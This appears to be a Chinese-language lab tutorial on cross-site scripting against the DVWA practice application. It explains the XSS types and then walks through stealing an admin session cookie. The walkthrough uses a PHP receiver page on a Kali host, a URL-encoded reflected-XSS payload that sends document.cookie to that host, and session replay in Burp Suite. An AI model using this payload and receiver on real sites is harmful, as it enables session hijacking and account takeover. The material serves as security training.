实战-窃取用户 Cookie 信息并实现无账号登录(DVWA))

时间:2024-05-21 17:49:41

实战-窃取用户 Cookie 信息并实现无账号登录(DVWA)

1 XSS 跨站脚本攻击

1.1 XSS 跨站脚本攻击介绍
跨站脚本攻击英文全称为(Cross site Script)缩写为 CSS,但是为了和层叠样式表(Cascading Style
Sheet)CSS 区分开来,所以在安全领域跨站脚本攻击叫做 XSS

XSS 攻击简介
XSS 攻击通常指黑客通过往 Web 页面中插入恶意 Script 代码,当用户访问网页时恶意代码在用户的
浏览器中被执行,从而劫持用户浏览器窃取用户信息。
实战-窃取用户 Cookie 信息并实现无账号登录(DVWA))
1、黑客加在特定 web 页面 index.html 中,加入 XSS 脚本。
2、用户访问 index.html,会加载 XSS 脚本
3、XSS 脚本把用户的会话 cookie 信息发给黑客
4、黑客使用用户的信息进行恶意操作

1.2 XSS 跨站脚本攻击分类
XSS 脚本分为下面三类
第一种类型:反射型 XSS
第二种类型:存储型 XSS
第三种类型:DOM 型 XSS
第一种类型:反射型 XSS

反射型 XSS 又称之为非持久型 XSS,黑客需要通过诱使用户点击包含 XSS 攻击代码的恶意链接,然
后用户浏览器执行恶意代码触发 XSS 漏洞。
诱使用户点,如下:
sex666.com/hu.html

第二种类型:存储型 XSS
存储型 XSS 会把用户输入的数据存储在服务器端,这种 XSS 可以持久化,而且更加稳定。
比如黑客写了一篇包含 XSS 恶意代码的博客文章,那么访问该博客的所有用户他们的浏览器中都会执
行黑客构造的 XSS 恶意代码,通常这种攻击代码会以文本或数据库的方式保存在服务器端,所以称之为存
储型 XSS。

第三种类型:DOM 型 XSS
DOM 概述:HTML DOM 定义了访问和操作 HTML 文档的标准方法。
DOM 将 HTML 文档表达为树结构。HTML DOM 树结构如下:
实战-窃取用户 Cookie 信息并实现无账号登录(DVWA))
DOM 型 XSS 并不根据数据是否保存在服务器端来进行划分,从效果来看它属于反射性 XSS,但是因
为形成原因比较特殊所以被单独作为一个分类,通过修改 DOM 节点形成的 XSS 攻击被称之为 DOM 型
XSS。

XSS 跨站脚本攻击原理

2.1反射型 XSS 原理
我们来演示一下它的工作原理。这个功能类似一个留言板,输入信息后下面会增加对应的信息。
实战-窃取用户 Cookie 信息并实现无账号登录(DVWA))
点击 submit 按钮,查 URL 链接:
http://www.web.com/dvwa/vulnerabilities/xss_r/?name=123#
实战-窃取用户 Cookie 信息并实现无账号登录(DVWA))
根据回显信息判断出,显示的文本内容是 Hello $ name。我们输入的信息被存放在$ name 变量中。
我们添加一条 JavaScript 代码获取 cookie

或:

实战-窃取用户 Cookie 信息并实现无账号登录(DVWA))
实战-窃取用户 Cookie 信息并实现无账号登录(DVWA))
可以看到我们提交的文本信息被浏览器执行了,显示出了我们的 cookie 信息。
可以看到我们提交的文本信息被浏览器执行了,显示出了我们的 cookie 信息。说明此网站有 XSS 漏洞!

2.2存储型 XSS 原理
存储型 XSS 的优势在于恶意代码被存储到服务器上,比如我们在论坛发帖的过程中嵌入了 XSS 攻击
代码,当我们发布的帖子被用户浏览访问时就可以触发 XSS 代码。
Name:123
Message:
一个站点,能写入

3 实战-窃取用户 Cookie 信息保存到远程服务器

3.1 在 kali 上构建 Web 站点接收 Cookie
先启动 apache 服务
[email protected]:~# service apache2 start
[email protected]:~# cd /var/www/html/
实战-窃取用户 Cookie 信息并实现无账号登录(DVWA))
新建用于接收 Cookie 信息的 php 页面
[email protected]:/var/www/html# vim web.php

<?php $cookie=$_GET['cookie']; file_put_contents('cookie.txt',$cookie); ?>

实战-窃取用户 Cookie 信息并实现无账号登录(DVWA))
注:页面中创建 cookie 变量,然后将 cookie 变量写入 cookie.txt
修改网页的权限:
[email protected]:/var/www/html# ps -axu | grep apache #查看运行 apache 进程的用户名
实战-窃取用户 Cookie 信息并实现无账号登录(DVWA))
[email protected]:/var/www/html# chown www-data:www-data web.php
[email protected]:/var/www/html# touch cookie.txt #创建存 cookie 的文件
[email protected]:/var/www/html# chown www-data:www-data cookie.txt
实战-窃取用户 Cookie 信息并实现无账号登录(DVWA))

3.2构建 URL
利用 xss 反射漏洞进行攻击
实战-窃取用户 Cookie 信息并实现无账号登录(DVWA))

我们接收 Cookie 的 Url 为 http://172.168.1.22/web.php
构建 XSS payload

Payload 说明:
JavaScript 可以使用 document.cookie 属性来创建 、读取、及删除 cookie。
document.location #用于跳转页面
http://172.168.1.22/web.php?cookie=’+document.cookie #传递 cookie 参数到web.php

完整的 URL
http://192.168.0.104/dvwa/vulnerabilities/xss_r/?name=
但是通过这样访问,因为 url 中直接有“js 脚本”有时服务器会拒绝,不成功的。所以我们需要对payload 进行 URL 加密
实战-窃取用户 Cookie 信息并实现无账号登录(DVWA))
替换为 URL 编码的链接为:
http://192.168.0.104/dvwa/vulnerabilities/xss_r/?name=%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%31%37%32%2e%31%36%38%2e%31%2e%32%32%2f%77%65%62%2e%70%68%70%3f%63%6f%6f%6b%69%65%3d%27%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
注:这个加密链接想直接访问,必须提前登录上 DVWA 链接。

3.3 在物理机上进行用户访问
我们先在物理机上进行登录否则是没有 cookie 信息的
实战-窃取用户 Cookie 信息并实现无账号登录(DVWA))
将 DVWA 的安全级别调为 Low,因为每次登录安全级别都会重置,需要手动设置为 Low
实战-窃取用户 Cookie 信息并实现无账号登录(DVWA))
使用黑客构造的链接进行访问
http://192.168.0.104/dvwa/vulnerabilities/xss_r/?name=%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%31%37%32%2e%31%36%38%2e%31%2e%32%32%2f%77%65%62%2e%70%68%70%3f%63%6f%6f%6b%69%65%3d%27%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
页面跳转到 kali
实战-窃取用户 Cookie 信息并实现无账号登录(DVWA))

此时 Cookie 信息已经传入 web.php 中被写入到 cookie.txt

3.4 从 kali 站点中查看 Cookie 信息
[email protected]:~# cat /var/www/html/cookie.txt
实战-窃取用户 Cookie 信息并实现无账号登录(DVWA))

3.5使用cookie实现普通账户登录
使用其他用户正常进行登录并开启 burpsuite 截断
打开 burpsuit,并开始截取数据
实战-窃取用户 Cookie 信息并实现无账号登录(DVWA))
DVWA 中内置了一些其他用户,在 kali 系统中打开火狐浏览器,这里我们使用用户名:smithy 密
码:password 登录 DVWA
实战-窃取用户 Cookie 信息并实现无账号登录(DVWA))
打开 burpsuit 放行第一个请求,因为该请求携带用户名和密码
实战-窃取用户 Cookie 信息并实现无账号登录(DVWA))
将存在 Cookie 信息的请求发送到 Repeater 进行重放攻击
实战-窃取用户 Cookie 信息并实现无账号登录(DVWA))

替换用户 Cookie 信息
将现在的普通用户的 cookie 信息替换成前期抓到的 admin cookie 信息
admin 的 cookie 信息是:
security=low; PHPSESSID=76uasri5i2no7hspk2kmke52t6
开始替换:
进入 repeater 中继中:
实战-窃取用户 Cookie 信息并实现无账号登录(DVWA))
实战-窃取用户 Cookie 信息并实现无账号登录(DVWA))
成功
实战-窃取用户 Cookie 信息并实现无账号登录(DVWA))
点击 Show response in browser 在浏览器中打开
实战-窃取用户 Cookie 信息并实现无账号登录(DVWA))

点击copy
实战-窃取用户 Cookie 信息并实现无账号登录(DVWA))
在浏览器中打开
实战-窃取用户 Cookie 信息并实现无账号登录(DVWA))
成功换为admin用户

3.6 使用cookie实现无账户和密码登录
首先随便输入一个错误的账号和密码
实战-窃取用户 Cookie 信息并实现无账号登录(DVWA))

与前面一样放走第一个包,因为包含账户和密码,修改cookie
修改前
实战-窃取用户 Cookie 信息并实现无账号登录(DVWA))
修改后
实战-窃取用户 Cookie 信息并实现无账号登录(DVWA))
放包,显示200说明成功
实战-窃取用户 Cookie 信息并实现无账号登录(DVWA))
点击 Show response in browser 在浏览器中打开
实战-窃取用户 Cookie 信息并实现无账号登录(DVWA))
点击copy
实战-窃取用户 Cookie 信息并实现无账号登录(DVWA))
在浏览器中打开
实战-窃取用户 Cookie 信息并实现无账号登录(DVWA))
成功登录为admin

本教程仅供学习使用,不得用于非法用途!!!